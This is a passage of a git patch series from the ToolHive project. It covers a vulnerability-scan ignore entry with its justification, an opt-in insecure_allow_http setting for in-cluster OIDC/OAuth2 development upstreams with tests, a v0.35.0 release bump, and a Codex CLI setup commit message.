transitively via sigstore (rekor/sigstore-go) for backward- compatible OpenPGP signature verification. Add GO-2026-5932 to the IGNORED_VULNS list with justification. Remove when sigstore drops the openpgp dependency. --- .github/workflows/security-scan.yml | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/.github/workflows/security-scan.yml b/.github/workflows/security-scan.yml index 4659618a66..d657ebcdab 100644 --- a/.github/workflows/security-scan.yml +++ b/.github/workflows/security-scan.yml @@ -65,7 +65,14 @@ jobs: # CI's `setup-go: stable` still resolves to go1.26.3 because the # actions/go-versions manifest lags the Go release. Temporary # exclusion; remove once CI builds on go1.26.4 or later. - IGNORED_VULNS="GO-2026-5037 GO-2026-5038 GO-2026-5039" + # + # GO-2026-5932: golang.org/x/crypto/openpgp is deprecated-by-design + # ("unsafe, not maintained, should not be used"). No fixed version + # exists and none is planned. ToolHive does not import openpgp + # directly; it is pulled transitively via sigstore (rekor/sigstore-go) + # for backward-compatible OpenPGP verification. Remove when sigstore + # drops the openpgp dependency. + IGNORED_VULNS="GO-2026-5037 GO-2026-5038 GO-2026-5039 GO-2026-5932" # Show the raw output for debugging echo "::group::govulncheck raw output" From 8e45112dc0903f249b172ab42c4d530889f02351 Mon Sep 17 00:00:00 2001 From: Chris Burns <29541485+ChrisJBurns@users.noreply.github.com> Date: Mon, 13 Jul 2026 20:41:28 +0100 Subject: [PATCH 37/66] Allow HTTP upstream OIDC issuers for in-cluster dev environments (#5787) * Allow HTTP upstream OIDC issuers for in-cluster dev environments Adds per-upstream insecure_allow_http to OIDCUpstreamRunConfig and threads it through to validateDiscoveryDocument / validateEndpointOrigin, the two remaining enforcement points that previously blocked HTTP even when the global or per-upstream flag was set. The fix has two parts: - OIDCUpstreamRunConfig.InsecureAllowHTTP (new): per-upstream opt-in for plain-HTTP upstream issuers, OR'd with the global RunConfig.InsecureAllowHTTP in buildOIDCConfig so either level enables the relaxation. - validateDiscoveryDocument / validateEndpointOrigin now accept an insecureAllowHTTP parameter and skip the HTTPS-scheme check when true, allowing an in-cluster Dex instance served over HTTP to pass discovery document validation. Closes #5776 Co-Authored-By: Claude Sonnet 4.6 (1M context) * Regenerate swagger docs for OIDCUpstreamRunConfig.insecure_allow_http Co-Authored-By: Claude Sonnet 4.6 (1M context) * Add insecure_allow_http to OAuth2UpstreamRunConfig Mirrors the same per-upstream opt-in added to OIDCUpstreamRunConfig, so a single OAuth2 upstream can permit plain-HTTP endpoints without enabling the global InsecureAllowHTTP flag. Also regenerates swagger docs for the new field. Co-Authored-By: Claude Sonnet 4.6 (1M context) --------- Co-authored-by: Claude Sonnet 4.6 (1M context) --- docs/server/docs.go | 8 +++ docs/server/swagger.json | 8 +++ docs/server/swagger.yaml | 14 ++++++ pkg/authserver/config.go | 14 ++++++ pkg/authserver/runner/embeddedauthserver.go | 4 +- pkg/authserver/upstream/oidc.go | 24 ++++++--- pkg/authserver/upstream/oidc_test.go | 55 +++++++++++++-------- 7 files changed, 98 insertions(+), 29 deletions(-) diff --git a/docs/server/docs.go b/docs/server/docs.go index a0c023d1b9..51848ecb47 100644 --- a/docs/server/docs.go +++ b/docs/server/docs.go @@ -448,6 +448,10 @@ const docTemplate = `{ "identity_from_token": { "$ref": "#/components/schemas/github_com_stacklok_toolhive_pkg_authserver.IdentityFromTokenRunConfig" }, + "insecure_allow_http": { + "description": "InsecureAllowHTTP permits plain-HTTP authorization and token endpoint URLs\nfor this upstream. Only for in-cluster development environments (e.g. an\nOAuth2 provider served over HTTP in a kind cluster) where TLS is not\navailable. Never set this in production.", + "type": "boolean" + }, "redirect_uri": { "description": "RedirectURI is the callback URL where the upstream IDP will redirect after authentication.\nWhen not specified, defaults to ` + "`" + `{issuer}/oauth/callback` + "`" + `.", "type": "string" @@ -499,6 +503,10 @@ const docTemplate = `{ "description": "ClientSecretFile is the path to a file containing the OAuth 2.0 client secret.\nMutually exclusive with ClientSecretEnvVar. Optional for public clients using PKCE.", "type": "string" }, + "insecure_allow_http": { + "description": "InsecureAllowHTTP permits a plain-HTTP issuer URL and HTTP discovery\nendpoints for this upstream. Only for in-cluster development environments\n(e.g. Dex served over HTTP in a kind cluster) where TLS is not available.\nNever set this in production.", + "type": "boolean" + }, "issuer_url": { "description": "IssuerURL is the OIDC issuer URL for automatic endpoint discovery.\nMust be a valid HTTPS URL.", "type": "string" diff --git a/docs/server/swagger.json b/docs/server/swagger.json index 54cf8b6e4c..e8086d0d87 100644 --- a/docs/server/swagger.json +++ b/docs/server/swagger.json @@ -441,6 +441,10 @@ "identity_from_token": { "$ref": "#/components/schemas/github_com_stacklok_toolhive_pkg_authserver.IdentityFromTokenRunConfig" }, + "insecure_allow_http": { + "description": "InsecureAllowHTTP permits plain-HTTP authorization and token endpoint URLs\nfor this upstream. Only for in-cluster development environments (e.g. an\nOAuth2 provider served over HTTP in a kind cluster) where TLS is not\navailable. Never set this in production.", + "type": "boolean" + }, "redirect_uri": { "description": "RedirectURI is the callback URL where the upstream IDP will redirect after authentication.\nWhen not specified, defaults to `{issuer}/oauth/callback`.", "type": "string" @@ -492,6 +496,10 @@ "description": "ClientSecretFile is the path to a file containing the OAuth 2.0 client secret.\nMutually exclusive with ClientSecretEnvVar. Optional for public clients using PKCE.", "type": "string" }, + "insecure_allow_http": { + "description": "InsecureAllowHTTP permits a plain-HTTP issuer URL and HTTP discovery\nendpoints for this upstream. Only for in-cluster development environments\n(e.g. Dex served over HTTP in a kind cluster) where TLS is not available.\nNever set this in production.", + "type": "boolean" + }, "issuer_url": { "description": "IssuerURL is the OIDC issuer URL for automatic endpoint discovery.\nMust be a valid HTTPS URL.", "type": "string" diff --git a/docs/server/swagger.yaml b/docs/server/swagger.yaml index b70a631aa5..cc1db03417 100644 --- a/docs/server/swagger.yaml +++ b/docs/server/swagger.yaml @@ -498,6 +498,13 @@ components: $ref: '#/components/schemas/github_com_stacklok_toolhive_pkg_authserver.DCRUpstreamConfig' identity_from_token: $ref: '#/components/schemas/github_com_stacklok_toolhive_pkg_authserver.IdentityFromTokenRunConfig' + insecure_allow_http: + description: |- + InsecureAllowHTTP permits plain-HTTP authorization and token endpoint URLs + for this upstream. Only for in-cluster development environments (e.g. an + OAuth2 provider served over HTTP in a kind cluster) where TLS is not + available. Never set this in production. + type: boolean redirect_uri: description: |- RedirectURI is the callback URL where the upstream IDP will redirect after authentication. @@ -552,6 +559,13 @@ components: ClientSecretFile is the path to a file containing the OAuth 2.0 client secret. Mutually exclusive with ClientSecretEnvVar. Optional for public clients using PKCE. type: string + insecure_allow_http: + description: |- + InsecureAllowHTTP permits a plain-HTTP issuer URL and HTTP discovery + endpoints for this upstream. Only for in-cluster development environments + (e.g. Dex served over HTTP in a kind cluster) where TLS is not available. + Never set this in production. + type: boolean issuer_url: description: |- IssuerURL is the OIDC issuer URL for automatic endpoint discovery. diff --git a/pkg/authserver/config.go b/pkg/authserver/config.go index 42848b84c1..92ff27a8e2 100644 --- a/pkg/authserver/config.go +++ b/pkg/authserver/config.go @@ -321,6 +321,13 @@ type OIDCUpstreamRunConfig struct { // HTTP-scheme restrictions are unchanged — HTTPS is still required for // non-localhost hosts. Defaults to false. AllowPrivateIPs bool `json:"allow_private_ips,omitempty" yaml:"allow_private_ips,omitempty"` + + // InsecureAllowHTTP permits a plain-HTTP issuer URL and HTTP discovery + // endpoints for this upstream. Only for in-cluster development environments + // (e.g. Dex served over HTTP in a kind cluster) where TLS is not available. + // Never set this in production. + //nolint:lll // field tags require full JSON+YAML names + InsecureAllowHTTP bool `json:"insecure_allow_http,omitempty" yaml:"insecure_allow_http,omitempty"` } // OAuth2UpstreamRunConfig contains configuration for pure OAuth 2.0 providers. @@ -392,6 +399,13 @@ type OAuth2UpstreamRunConfig struct { // restrictions are unchanged — HTTPS is still required for non-localhost hosts. // Defaults to false. AllowPrivateIPs bool `json:"allow_private_ips,omitempty" yaml:"allow_private_ips,omitempty"` + + // InsecureAllowHTTP permits plain-HTTP authorization and token endpoint URLs + // for this upstream. Only for in-cluster development environments (e.g. an + // OAuth2 provider served over HTTP in a kind cluster) where TLS is not + // available. Never set this in production. + //nolint:lll // field tags require full JSON+YAML names + InsecureAllowHTTP bool `json:"insecure_allow_http,omitempty" yaml:"insecure_allow_http,omitempty"` } // DCRUpstreamConfig configures RFC 7591 Dynamic Client Registration for an diff --git a/pkg/authserver/runner/embeddedauthserver.go b/pkg/authserver/runner/embeddedauthserver.go index 74b92c405d..70102ee937 100644 --- a/pkg/authserver/runner/embeddedauthserver.go +++ b/pkg/authserver/runner/embeddedauthserver.go @@ -583,7 +583,7 @@ func buildOIDCConfig(rc *authserver.UpstreamRunConfig, insecureAllowHTTP bool) ( Issuer: oidc.IssuerURL, SubjectClaim: oidc.SubjectClaim, AllowPrivateIPs: oidc.AllowPrivateIPs, - InsecureAllowHTTP: insecureAllowHTTP, + InsecureAllowHTTP: insecureAllowHTTP || oidc.InsecureAllowHTTP, }, nil } @@ -619,7 +619,7 @@ func buildPureOAuth2Config(rc *authserver.UpstreamRunConfig, insecureAllowHTTP b TokenEndpoint: oauth2.TokenEndpoint, UserInfo: convertUserInfoConfig(oauth2.UserInfo), AllowPrivateIPs: oauth2.AllowPrivateIPs, - InsecureAllowHTTP: insecureAllowHTTP, + InsecureAllowHTTP: insecureAllowHTTP || oauth2.InsecureAllowHTTP, } if oauth2.TokenResponseMapping != nil { diff --git a/pkg/authserver/upstream/oidc.go b/pkg/authserver/upstream/oidc.go index a9b1b992dc..35e95853ea 100644 --- a/pkg/authserver/upstream/oidc.go +++ b/pkg/authserver/upstream/oidc.go @@ -211,7 +211,7 @@ func NewOIDCProvider( } // Security validation - go-oidc doesn't check endpoint origins - if err := validateDiscoveryDocument(endpoints, config.Issuer); err != nil { + if err := validateDiscoveryDocument(endpoints, config.Issuer, config.InsecureAllowHTTP); err != nil { return nil, fmt.Errorf("invalid discovery document: %w", err) } @@ -539,7 +539,7 @@ func (p *OIDCProviderImpl) RefreshTokens(ctx context.Context, refreshToken, expe // // Note: Issuer match validation (exact match per OIDC spec) is performed by go-oidc's // NewProvider() before this function is called. -func validateDiscoveryDocument(doc *oauthproto.OIDCDiscoveryDocument, expectedIssuer string) error { +func validateDiscoveryDocument(doc *oauthproto.OIDCDiscoveryDocument, expectedIssuer string, insecureAllowHTTP bool) error { // Validate required OIDC fields per spec if err := doc.Validate(true); err != nil { return err @@ -547,23 +547,23 @@ func validateDiscoveryDocument(doc *oauthproto.OIDCDiscoveryDocument, expectedIs // Security: validate that discovered endpoints use secure schemes. // This prevents a malicious discovery document from redirecting requests to attacker-controlled servers. - if err := validateEndpointOrigin(doc.AuthorizationEndpoint, expectedIssuer); err != nil { + if err := validateEndpointOrigin(doc.AuthorizationEndpoint, expectedIssuer, insecureAllowHTTP); err != nil { return fmt.Errorf("authorization_endpoint origin mismatch: %w", err) } - if err := validateEndpointOrigin(doc.TokenEndpoint, expectedIssuer); err != nil { + if err := validateEndpointOrigin(doc.TokenEndpoint, expectedIssuer, insecureAllowHTTP); err != nil { return fmt.Errorf("token_endpoint origin mismatch: %w", err) } // Optional endpoints - only validate if present if doc.UserinfoEndpoint != "" { - if err := validateEndpointOrigin(doc.UserinfoEndpoint, expectedIssuer); err != nil { + if err := validateEndpointOrigin(doc.UserinfoEndpoint, expectedIssuer, insecureAllowHTTP); err != nil { return fmt.Errorf("userinfo_endpoint origin mismatch: %w", err) } } if doc.JWKSURI != "" { - if err := validateEndpointOrigin(doc.JWKSURI, expectedIssuer); err != nil { + if err := validateEndpointOrigin(doc.JWKSURI, expectedIssuer, insecureAllowHTTP); err != nil { return fmt.Errorf("jwks_uri origin mismatch: %w", err) } } @@ -589,7 +589,12 @@ func validateDiscoveryDocument(doc *oauthproto.OIDCDiscoveryDocument, expectedIs // If an attacker could compromise the HTTPS connection to the issuer or the issuer itself, // host validation would provide no additional protection since the attacker controls the // discovery document contents. -func validateEndpointOrigin(endpoint, issuer string) error { +// +// When insecureAllowHTTP is true, HTTP endpoints are permitted for non-localhost issuers. +// This is intended for in-cluster development environments (e.g. a Dex instance in a +// kind cluster) where both issuer and endpoints are served over plain HTTP. Never set +// this in production. +func validateEndpointOrigin(endpoint, issuer string, insecureAllowHTTP bool) error { endpointURL, err := url.Parse(endpoint) if err != nil { return fmt.Errorf("invalid endpoint URL: %w", err) @@ -610,6 +615,11 @@ func validateEndpointOrigin(endpoint, issuer string) error { return nil } + // insecureAllowHTTP permits HTTP for trusted in-cluster deployments (e.g. Dex in kind). + if insecureAllowHTTP { + return nil + } + // For production issuers, enforce HTTPS on endpoints // This prevents protocol downgrade attacks where a malicious discovery document // could redirect token requests to an HTTP endpoint, exposing credentials diff --git a/pkg/authserver/upstream/oidc_test.go b/pkg/authserver/upstream/oidc_test.go index 83ecefbe39..92037a4539 100644 --- a/pkg/authserver/upstream/oidc_test.go +++ b/pkg/authserver/upstream/oidc_test.go @@ -494,15 +494,26 @@ func TestValidateDiscoveryDocument(t *testing.T) { // Note: issuer mismatch is validated by go-oidc's NewProvider() before // validateDiscoveryDocument is called, so we don't test it here. tests := []struct { - name string - modify func(*oauthproto.OIDCDiscoveryDocument) - wantErr string + name string + insecureAllowHTTP bool + modify func(*oauthproto.OIDCDiscoveryDocument) + wantErr string }{ - {"valid document", nil, ""}, - {"missing authorization endpoint", func(d *oauthproto.OIDCDiscoveryDocument) { d.AuthorizationEndpoint = "" }, "missing authorization_endpoint"}, - {"missing token endpoint", func(d *oauthproto.OIDCDiscoveryDocument) { d.TokenEndpoint = "" }, "missing token_endpoint"}, - {"missing jwks_uri", func(d *oauthproto.OIDCDiscoveryDocument) { d.JWKSURI = "" }, "missing jwks_uri"}, - {"missing response_types_supported", func(d *oauthproto.OIDCDiscoveryDocument) { d.ResponseTypesSupported = nil }, "missing response_types_supported"}, + {"valid document", false, nil, ""}, + {"missing authorization endpoint", false, func(d *oauthproto.OIDCDiscoveryDocument) { d.AuthorizationEndpoint = "" }, "missing authorization_endpoint"}, + {"missing token endpoint", false, func(d *oauthproto.OIDCDiscoveryDocument) { d.TokenEndpoint = "" }, "missing token_endpoint"}, + {"missing jwks_uri", false, func(d *oauthproto.OIDCDiscoveryDocument) { d.JWKSURI = "" }, "missing jwks_uri"}, + {"missing response_types_supported", false, func(d *oauthproto.OIDCDiscoveryDocument) { d.ResponseTypesSupported = nil }, "missing response_types_supported"}, + {"HTTP endpoints rejected without insecure flag", false, func(d *oauthproto.OIDCDiscoveryDocument) { + d.AuthorizationEndpoint = "http://dex.my-ns.svc.cluster.local:5556/auth" + d.TokenEndpoint = "http://dex.my-ns.svc.cluster.local:5556/token" + d.JWKSURI = "http://dex.my-ns.svc.cluster.local:5556/keys" + }, "scheme mismatch"}, + {"HTTP endpoints allowed with insecure flag", true, func(d *oauthproto.OIDCDiscoveryDocument) { + d.AuthorizationEndpoint = "http://dex.my-ns.svc.cluster.local:5556/auth" + d.TokenEndpoint = "http://dex.my-ns.svc.cluster.local:5556/token" + d.JWKSURI = "http://dex.my-ns.svc.cluster.local:5556/keys" + }, ""}, } for _, tt := range tests { @@ -519,7 +530,7 @@ func TestValidateDiscoveryDocument(t *testing.T) { if tt.modify != nil { tt.modify(doc) } - err := validateDiscoveryDocument(doc, testIssuer) + err := validateDiscoveryDocument(doc, testIssuer, tt.insecureAllowHTTP) if tt.wantErr == "" { require.NoError(t, err) } else { @@ -534,23 +545,27 @@ func TestValidateEndpointOrigin(t *testing.T) { t.Parallel() tests := []struct { - name string - endpoint string - issuer string - wantErr string + name string + endpoint string + issuer string + insecureAllowHTTP bool + wantErr string }{ - {"HTTPS endpoint with same host", "https://example.com/token", "https://example.com", ""}, - {"HTTPS endpoint with different host", "https://oauth.example.com/token", "https://example.com", ""}, // allowed per OIDC spec - {"HTTP endpoint for non-localhost issuer", "http://example.com/token", "https://example.com", "scheme mismatch"}, - {"localhost allows HTTP", "http://localhost:8080/token", "http://localhost:8080", ""}, - {"localhost issuer requires localhost endpoint", "http://example.com/token", "http://localhost:8080", "host mismatch"}, - {"127.0.0.1 treated as localhost", "http://127.0.0.1:8080/token", "http://127.0.0.1:8080", ""}, + {"HTTPS endpoint with same host", "https://example.com/token", "https://example.com", false, ""}, + {"HTTPS endpoint with different host", "https://oauth.example.com/token", "https://example.com", false, ""}, // allowed per OIDC spec + {"HTTP endpoint for non-localhost issuer", "http://example.com/token", "https://example.com", false, "scheme mismatch"}, + {"localhost allows HTTP", "http://localhost:8080/token", "http://localhost:8080", false, ""}, + {"localhost issuer requires localhost endpoint", "http://example.com/token", "http://localhost:8080", false, "host mismatch"}, + {"127.0.0.1 treated as localhost", "http://127.0.0.1:8080/token", "http://127.0.0.1:8080", false, ""}, + {"HTTP endpoint allowed with insecure flag", "http://dex.my-ns.svc.cluster.local:5556/token", "http://dex.my-ns.svc.cluster.local:5556", true, ""}, + {"HTTP endpoint with insecure flag, different host", "http://other.svc.cluster.local/token", "http://dex.my-ns.svc.cluster.local:5556", true, ""}, + {"HTTPS still valid with insecure flag", "https://example.com/token", "https://example.com", true, ""}, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { t.Parallel() - err := validateEndpointOrigin(tt.endpoint, tt.issuer) + err := validateEndpointOrigin(tt.endpoint, tt.issuer, tt.insecureAllowHTTP) if tt.wantErr == "" { require.NoError(t, err) } else { From d2f6812e7d0df4d756ec9a9c31f98e973bb1eea6 Mon Sep 17 00:00:00 2001 From: "toolhive-release-app[bot]" <280093410+toolhive-release-app[bot]@users.noreply.github.com> Date: Mon, 13 Jul 2026 21:03:46 +0100 Subject: [PATCH 38/66] Release v0.35.0 (#5788) Update release files Release-Triggered-By: ChrisJBurns Co-authored-by: toolhive-release-app[bot] <280093410+toolhive-release-app[bot]@users.noreply.github.com> --- VERSION | 2 +- deploy/charts/operator-crds/Chart.yaml | 4 ++-- deploy/charts/operator-crds/README.md | 2 +- deploy/charts/operator/Chart.yaml | 4 ++-- deploy/charts/operator/README.md | 10 +++++----- deploy/charts/operator/values.yaml | 6 +++--- 6 files changed, 14 insertions(+), 14 deletions(-) diff --git a/VERSION b/VERSION index 85e60ed180..7b52f5e517 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -0.34.0 +0.35.0 diff --git a/deploy/charts/operator-crds/Chart.yaml b/deploy/charts/operator-crds/Chart.yaml index 739d65aeec..2e7f1908a2 100644 --- a/deploy/charts/operator-crds/Chart.yaml +++ b/deploy/charts/operator-crds/Chart.yaml @@ -2,5 +2,5 @@ apiVersion: v2 name: toolhive-operator-crds description: A Helm chart for installing the ToolHive Operator CRDs into Kubernetes. type: application -version: 0.34.0 -appVersion: "v0.34.0" +version: 0.35.0 +appVersion: "v0.35.0" diff --git a/deploy/charts/operator-crds/README.md b/deploy/charts/operator-crds/README.md index 6b42b1ade6..153966a69a 100644 --- a/deploy/charts/operator-crds/README.md +++ b/deploy/charts/operator-crds/README.md @@ -1,6 +1,6 @@ # ToolHive Operator CRDs Helm Chart -![Version: 0.34.0](https://img.shields.io/badge/Version-0.34.0-informational?style=flat-square) +![Version: 0.35.0](https://img.shields.io/badge/Version-0.35.0-informational?style=flat-square) ![Type: application](https://img.shields.io/badge/Type-application-informational?style=flat-square) A Helm chart for installing the ToolHive Operator CRDs into Kubernetes. diff --git a/deploy/charts/operator/Chart.yaml b/deploy/charts/operator/Chart.yaml index cf229bb1eb..d37f7c37bf 100644 --- a/deploy/charts/operator/Chart.yaml +++ b/deploy/charts/operator/Chart.yaml @@ -2,5 +2,5 @@ apiVersion: v2 name: toolhive-operator description: A Helm chart for deploying the ToolHive Operator into Kubernetes. type: application -version: 0.34.0 -appVersion: "v0.34.0" +version: 0.35.0 +appVersion: "v0.35.0" diff --git a/deploy/charts/operator/README.md b/deploy/charts/operator/README.md index d6a8c47487..bd59c20fb2 100644 --- a/deploy/charts/operator/README.md +++ b/deploy/charts/operator/README.md @@ -1,6 +1,6 @@ # ToolHive Operator Helm Chart -![Version: 0.34.0](https://img.shields.io/badge/Version-0.34.0-informational?style=flat-square) +![Version: 0.35.0](https://img.shields.io/badge/Version-0.35.0-informational?style=flat-square) ![Type: application](https://img.shields.io/badge/Type-application-informational?style=flat-square) A Helm chart for deploying the ToolHive Operator into Kubernetes. @@ -46,7 +46,7 @@ The command removes all the Kubernetes components associated with the chart and |-----|------|---------|-------------| | fullnameOverride | string | `"toolhive-operator"` | Provide a fully-qualified name override for resources | | nameOverride | string | `""` | Override the name of the chart | -| operator | object | `{"affinity":{},"autoscaling":{"enabled":false,"maxReplicas":100,"minReplicas":1,"targetCPUUtilizationPercentage":80},"containerSecurityContext":{"allowPrivilegeEscalation":false,"capabilities":{"drop":["ALL"]},"readOnlyRootFilesystem":true,"runAsNonRoot":true,"runAsUser":1000,"seccompProfile":{"type":"RuntimeDefault"}},"defaultImagePullSecrets":[],"defaultRedis":{"addr":"","existingSecret":"","existingSecretKey":""},"env":[],"features":{"experimental":false,"storageVersionMigrator":false},"gc":{"gogc":75,"gomemlimit":"110MiB"},"image":"ghcr.io/stacklok/toolhive/operator:v0.34.0","imagePullPolicy":"IfNotPresent","imagePullSecrets":[],"leaderElectionRole":{"binding":{"name":"toolhive-operator-leader-election-rolebinding"},"name":"toolhive-operator-leader-election-role","rules":[{"apiGroups":[""],"resources":["configmaps"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["coordination.k8s.io"],"resources":["leases"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["events.k8s.io"],"resources":["events"],"verbs":["create","patch"]}]},"livenessProbe":{"httpGet":{"path":"/healthz","port":"health"},"initialDelaySeconds":15,"periodSeconds":20},"nodeSelector":{},"podAnnotations":{},"podLabels":{},"podSecurityContext":{"runAsNonRoot":true},"ports":[{"containerPort":8080,"name":"metrics","protocol":"TCP"},{"containerPort":8081,"name":"health","protocol":"TCP"}],"proxyHost":"0.0.0.0","rbac":{"allowedNamespaces":[],"scope":"cluster"},"readinessProbe":{"httpGet":{"path":"/readyz","port":"health"},"initialDelaySeconds":5,"periodSeconds":10},"replicaCount":1,"resources":{"limits":{"cpu":"500m","memory":"128Mi"},"requests":{"cpu":"10m","memory":"64Mi"}},"serviceAccount":{"annotations":{},"automountServiceAccountToken":true,"create":true,"labels":{},"name":"toolhive-operator"},"tolerations":[],"toolhiveRunnerImage":"ghcr.io/stacklok/toolhive/proxyrunner:v0.34.0","vmcpImage":"ghcr.io/stacklok/toolhive/vmcp:v0.34.0","volumeMounts":[],"volumes":[]}` | All values for the operator deployment and associated resources | +| operator | object | `{"affinity":{},"autoscaling":{"enabled":false,"maxReplicas":100,"minReplicas":1,"targetCPUUtilizationPercentage":80},"containerSecurityContext":{"allowPrivilegeEscalation":false,"capabilities":{"drop":["ALL"]},"readOnlyRootFilesystem":true,"runAsNonRoot":true,"runAsUser":1000,"seccompProfile":{"type":"RuntimeDefault"}},"defaultImagePullSecrets":[],"defaultRedis":{"addr":"","existingSecret":"","existingSecretKey":""},"env":[],"features":{"experimental":false,"storageVersionMigrator":false},"gc":{"gogc":75,"gomemlimit":"110MiB"},"image":"ghcr.io/stacklok/toolhive/operator:v0.35.0","imagePullPolicy":"IfNotPresent","imagePullSecrets":[],"leaderElectionRole":{"binding":{"name":"toolhive-operator-leader-election-rolebinding"},"name":"toolhive-operator-leader-election-role","rules":[{"apiGroups":[""],"resources":["configmaps"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["coordination.k8s.io"],"resources":["leases"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["events.k8s.io"],"resources":["events"],"verbs":["create","patch"]}]},"livenessProbe":{"httpGet":{"path":"/healthz","port":"health"},"initialDelaySeconds":15,"periodSeconds":20},"nodeSelector":{},"podAnnotations":{},"podLabels":{},"podSecurityContext":{"runAsNonRoot":true},"ports":[{"containerPort":8080,"name":"metrics","protocol":"TCP"},{"containerPort":8081,"name":"health","protocol":"TCP"}],"proxyHost":"0.0.0.0","rbac":{"allowedNamespaces":[],"scope":"cluster"},"readinessProbe":{"httpGet":{"path":"/readyz","port":"health"},"initialDelaySeconds":5,"periodSeconds":10},"replicaCount":1,"resources":{"limits":{"cpu":"500m","memory":"128Mi"},"requests":{"cpu":"10m","memory":"64Mi"}},"serviceAccount":{"annotations":{},"automountServiceAccountToken":true,"create":true,"labels":{},"name":"toolhive-operator"},"tolerations":[],"toolhiveRunnerImage":"ghcr.io/stacklok/toolhive/proxyrunner:v0.35.0","vmcpImage":"ghcr.io/stacklok/toolhive/vmcp:v0.35.0","volumeMounts":[],"volumes":[]}` | All values for the operator deployment and associated resources | | operator.affinity | object | `{}` | Affinity settings for the operator pod | | operator.autoscaling | object | `{"enabled":false,"maxReplicas":100,"minReplicas":1,"targetCPUUtilizationPercentage":80}` | Configuration for horizontal pod autoscaling | | operator.autoscaling.enabled | bool | `false` | Enable autoscaling for the operator | @@ -65,7 +65,7 @@ The command removes all the Kubernetes components associated with the chart and | operator.gc | object | `{"gogc":75,"gomemlimit":"110MiB"}` | Go memory limits and garbage collection percentage for the operator container | | operator.gc.gogc | int | `75` | Go garbage collection percentage for the operator container | | operator.gc.gomemlimit | string | `"110MiB"` | Go memory limits for the operator container | -| operator.image | string | `"ghcr.io/stacklok/toolhive/operator:v0.34.0"` | Container image for the operator | +| operator.image | string | `"ghcr.io/stacklok/toolhive/operator:v0.35.0"` | Container image for the operator | | operator.imagePullPolicy | string | `"IfNotPresent"` | Image pull policy for the operator container | | operator.imagePullSecrets | list | `[]` | List of image pull secrets to use | | operator.leaderElectionRole | object | `{"binding":{"name":"toolhive-operator-leader-election-rolebinding"},"name":"toolhive-operator-leader-election-role","rules":[{"apiGroups":[""],"resources":["configmaps"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["coordination.k8s.io"],"resources":["leases"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["events.k8s.io"],"resources":["events"],"verbs":["create","patch"]}]}` | Leader election role configuration | @@ -92,8 +92,8 @@ The command removes all the Kubernetes components associated with the chart and | operator.serviceAccount.labels | object | `{}` | Labels to add to the service account | | operator.serviceAccount.name | string | `"toolhive-operator"` | The name of the service account to use. If not set and create is true, a name is generated. | | operator.tolerations | list | `[]` | Tolerations for the operator pod | -| operator.toolhiveRunnerImage | string | `"ghcr.io/stacklok/toolhive/proxyrunner:v0.34.0"` | Image to use for Toolhive runners | -| operator.vmcpImage | string | `"ghcr.io/stacklok/toolhive/vmcp:v0.34.0"` | Image to use for Virtual MCP Server (vMCP) deployments | +| operator.toolhiveRunnerImage | string | `"ghcr.io/stacklok/toolhive/proxyrunner:v0.35.0"` | Image to use for Toolhive runners | +| operator.vmcpImage | string | `"ghcr.io/stacklok/toolhive/vmcp:v0.35.0"` | Image to use for Virtual MCP Server (vMCP) deployments | | operator.volumeMounts | list | `[]` | Additional volume mounts on the operator container | | operator.volumes | list | `[]` | Additional volumes to mount on the operator pod | | registryAPI | object | `{"image":"ghcr.io/stacklok/thv-registry-api:v1.3.0"}` | All values for the registry API deployment and associated resources | diff --git a/deploy/charts/operator/values.yaml b/deploy/charts/operator/values.yaml index c342ef4ba5..baa52db278 100644 --- a/deploy/charts/operator/values.yaml +++ b/deploy/charts/operator/values.yaml @@ -59,15 +59,15 @@ operator: existingSecretKey: "" # -- Container image for the operator - image: ghcr.io/stacklok/toolhive/operator:v0.34.0 + image: ghcr.io/stacklok/toolhive/operator:v0.35.0 # -- Image pull policy for the operator container imagePullPolicy: IfNotPresent # -- Image to use for Toolhive runners - toolhiveRunnerImage: ghcr.io/stacklok/toolhive/proxyrunner:v0.34.0 + toolhiveRunnerImage: ghcr.io/stacklok/toolhive/proxyrunner:v0.35.0 # -- Image to use for Virtual MCP Server (vMCP) deployments - vmcpImage: ghcr.io/stacklok/toolhive/vmcp:v0.34.0 + vmcpImage: ghcr.io/stacklok/toolhive/vmcp:v0.35.0 # -- Host for the proxy deployed by the operator proxyHost: 0.0.0.0 From e9473d56b4242590519833e2b40f8ef675ab526b Mon Sep 17 00:00:00 2001 From: Jeremy Drouillard Date: Tue, 14 Jul 2026 01:31:01 -0700 Subject: [PATCH 39/66] Add Codex CLI direct-mode support to thv llm setup (#5789) * Add Codex CLI direct-mode support to thv llm setup Codex is a supported client but has no llm gateway integration yet. Add direct mode: a custom model_provider in ~/.codex/config.toml pointed at the gateway, authenticated via a command-backed bearer token (thv llm token) rather than an API key file, mirroring Claude Code's apiKeyHelper but shaped for Codex's TOML/argv config. Codex's Responses-API client appends "/responses" straight onto base_url, so the gateway's "/v1" prefix is baked into base_url rather than left to Codex, unlike the optional Anthropic path prefix. * Address Copilot review findings on Codex direct-mode setup Fixes three issues from PR review: setup could fail unnecessarily for Codex-only runs when thv's own executable path had shell-unsafe characters, even though Codex's argv-based auth never uses the shell-string helper; configureCodexAuth silently wrote an invalid provider entry when the token helper was unset; and a gateway URL already ending in "/v1" was doubled to "/v1/v1" in Codex's base_url. * Address panel-review findings on Codex LLM setup Follow-up on the review of #5789, fixing the concrete findings while leaving the design judgement calls (mode-capability descriptor, proxy fallback) for separate discussion. - Write refresh_interval_ms into Codex's auth table via a new CodexHelperTTL constant (= ClaudeCodeHelperTTL), so Codex's token-helper cadence stays inside the token source's preemptive refresh window like the other clients. Guard it in the invariant test. - Refuse to overwrite a pre-existing non-table model_providers instead of silently clobbering the user's config; mirrors the revert path's type check. - Surface Codex in "thv llm setup" help text and regenerate CLI docs so the new client is discoverable. - Promote the Codex --tls-skip-verify message from Note to Warning and state plainly that the flag was not applied. - Document revertCodexAuth's remove-not-restore semantics. Co-Authored-By: Claude Opus 4.8 * Use llmgateway mode constants in TLS-skip switch Follow-up to the review nitpick on warnTLSSkipVerify: its switch mixed raw 